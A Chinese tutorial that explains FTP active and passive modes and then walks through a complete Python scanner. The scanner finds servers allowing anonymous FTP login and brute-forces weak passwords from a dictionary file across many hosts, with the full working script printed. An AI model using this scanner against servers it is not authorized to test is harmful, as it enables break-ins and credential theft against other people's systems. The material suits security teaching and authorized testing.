原理展开目录
FTP 服务器展开目录
FTP 服务器是在互联网上提供文件存储和访问服务的计算机,它们依照 FTP 协议提供服务。FTP 是 File Transfer Protocol(文件传输协议)的缩写。顾名思义,就是专门用来传输文件的协议,简单地说,支持 FTP 协议的服务器就是 FTP 服务器
FTP 是仅基于 TCP 的服务,不支持 UDP(想想也是,传输文件,肯定要稳定可靠,建立连接,所以不支持 UDP)。与众不同的是 FTP 使用 2 个端口,一个数据端口,一个命令端口(也叫控制端口)。通常来说这两个端口分别是 21(命名端口)和 20(数据端口)。但由于 FTP 工作方式的不同,数据端口并不总是 20. 这就是主动与被动 FTP 的最大不同之处。
- 主动 FTP
FTP 服务器的控制端口是 21,数据端口是 20,所以在做静态映射的时候只需开放 21 端口即可,他会用 20 端口和客户端主动发起连接
- 被动 FTP
服务器的控制端口是 21,数据端口是随机的,且是客户端去连接对应的数据端口,所以在做静态映射的话只开放 21 端口不可以的
FTP 扫描的实现方案展开目录
扫描匿名 FTP展开目录
FTP 匿名登陆的扫描主要应用与批量扫描中,单独针对一个 FTP 服务器进行扫描的话成功率比较小。很多网站都开放 FTP 服务方便用户下载资源(这个允许匿名登陆不足为奇),更疯狂的是网站管理人员为了方便网站访问软件的更新也开放了 FTP 匿名登陆,这样就给了我们很多机会,尤其后者的服务器很容易受到攻击
扫描 FTP 弱口令展开目录
弱口令扫描其实就是暴力破解,不过我们只是扫描一些简单的密码组合,并不是所有可能的密码组合
步骤展开目录
FTP 匿名扫描器的实现展开目录
这里需要用到 Python 的 ftplib
库中的 FTP 这个类,这个类实现了 FTP 客户端的大多数功能,比如连接 FTP 服务器、查看服务器中的文件、上传、下载文件等功能,详细用法可以查看 API,接下来我们首先定义 anonScan(hostname)
这个函数以实现扫描可匿名登陆的 FTP 服务器。代码如下:
- def anonScan(hostname): # 参数是主机名
- try:
- with FTP(hostname) as ftp: # 创建FTP对象
- ftp.login() # FTP匿名登陆
- print("\n[*]" + str(hostname) + " FTP Anonymous login successful!")
- return True
- except Exception as e: # 抛出异常表示匿名登陆失败
- print("\n[-]" + str(hostname) + " FTP Anonymous login failure!")
- return False
代码很简短,注释也写的很清楚。这里还是说一下函数的思路,首先用主机名构造了一个 FTP 对象(即 ftp),然后用 ftp 调用不带参数的 login () 函数即表示要匿名登陆这个 FTP 服务器,如果登陆过程中没有产生异常,则表明匿名登陆成功,否则匿名登陆失败
FTP 弱口令的扫描展开目录
FTP 弱口令扫描依赖于用户名和密码字典,密码字典下载,下载之后我们将其命名为 pwd.txt
接下来针对字典中的格式来实现 FTP 弱口令扫描,创建代码文件 ftpScanner.py
,代码如下:
- def vlcLogin(hostname, pwdFile): # Parameters (hostname, dictionary file)
- try:
- with open(pwdFile, 'r') as pf: # Open dictionary file
- for line in pf.readlines():
- userName = line.split(':')[0] # Fetch username
- passWord = line.split(':')[1].strip('\r').strip('\n') # Fetch password
- print('[+] Trying: ' + userName + ':' + passWord)
- try:
- with FTP(hostname) as ftp:
- ftp.login(userName, passWord)
- print('\n[+] ' + str(hostname) + ' FTP Login successful: '+ \
- userName + ':' + passWord)
- return (userName, passWord)
- except Exception as e:
- # Continue trying other usernames and passwords
- pass
- except IOError as e:
- print('Error: the password file does not exist!')
- print('\n[-] Cannot crack the FTP password, please change the password dictionary try again!')
- return (None,None)
这段代码其实就是循环从字典中读取用户名和密码并尝试登陆,登陆成功则表明找到用户名和密码。由于这个函数将主机名定义成了可以用 ,
分割的字符串。找到密码并不会终止程序,而是会继续扫描其他主机的弱口令,直到所有的主机都扫描一遍
命令行解析展开目录
至此,FTP 扫描器几乎已经完成了,现在我们要做的是让我们的脚本可以处理命令行输入,以控制扫描哪些主机。命令行参数我们将用到 Python 中的 argparse
库。
- parser = argparse.ArgumentParser(description='FTP Scanner')
- parser.add_argument('-H',dest='hostName',help='The host list with ","space')
- parser.add_argument('-f',dest='pwdFile',help='Password dictionary file')
- options = None
- try:
- options = parser.parse_args()
-
- except:
- print(parser.parse_args(['-h']))
- exit(0)
-
- hostNames = str(options.hostName).split(',')
- pwdFile = options.pwdFile
整合全部代码展开目录
- # -*- coding: utf-8 -*-
- from ftplib import *
- import argparse
- import time
-
- # Anonymous login scan
- def anonScan(hostname): # The parameter is the host name
- try:
- with FTP(hostname) as ftp: # Create FTP object
- ftp.login() # FTP anonymous login
- print("\n[*]" + str(hostname) + " FTP Anonymous login successful!")
- return True
- except Exception as e: # Throwing an exception indicates that the anonymous login failed
- print("\n[-]" + str(hostname) + " FTP Anonymous login failure!")
- return False
-
- # Brute force
- def vlcLogin(hostname, pwdFile): # Parameters (hostname, dictionary file)
- try:
- with open(pwdFile, 'r') as pf: # Open dictionary file
- for line in pf.readlines():
- userName = line.split(':')[0] # Fetch username
- passWord = line.split(':')[1].strip('\r').strip('\n') # Fetch password
- print('[+] Trying: ' + userName + ':' + passWord)
- try:
- with FTP(hostname) as ftp:
- ftp.login(userName, passWord)
- print('\n[+] ' + str(hostname) + ' FTP Login successful: '+ \
- userName + ':' + passWord)
- return (userName, passWord)
- except Exception as e:
- # Continue trying other usernames and passwords
- pass
- except IOError as e:
- print('Error: the password file does not exist!')
- print('\n[-] Cannot crack the FTP password, please change the password dictionary try again!')
- return (None,None)
-
- def main():
- parser = argparse.ArgumentParser(description='FTP Scanner')
- parser.add_argument('-H',dest='hostName',help='The host list with ","space')
- parser.add_argument('-f',dest='pwdFile',help='Password dictionary file')
- options = None
- try:
- options = parser.parse_args()
-
- except:
- print(parser.parse_args(['-h']))
- exit(0)
-
- hostNames = str(options.hostName).split(',')
- pwdFile = options.pwdFile
- if hostNames == ['None']:
- print(parser.parse_args(['-h']))
- exit(0)
-
- for hostName in hostNames:
- username = None
- password = None
- if anonScan(hostName) == True:
- print('Host: ' + hostName + ' Can anonymously!')
- elif pwdFile != None:
- (username,password) = vlcLogin(hostName,pwdFile)
- if password != None:
- print('\n[+] Host: ' + hostName + 'Username: ' + username + \
- 'Password: ' + password)
- print('\n[*]-------------------Scan End!--------------------[*]')
-
-
- if __name__ == '__main__':
- main()
测试扫描展开目录
至此就可以测试我们的 FTP 弱口令扫描器了,在命令行中输入
- python ftpScanner.py -H 127.0.0.1 -f pwd.txt
因为我本地并没有开启 ftp 服务,所以扫描不成功,大家可以尝试在服务器上开放 FTP 服务,然后进行测试,绝对不能用于非法用途
参考文献展开目录
- 《Python 绝技 -- 运用 Python 成为顶级黑客》
- 《Python 黑帽子 -- 黑客与渗透测试编程之道》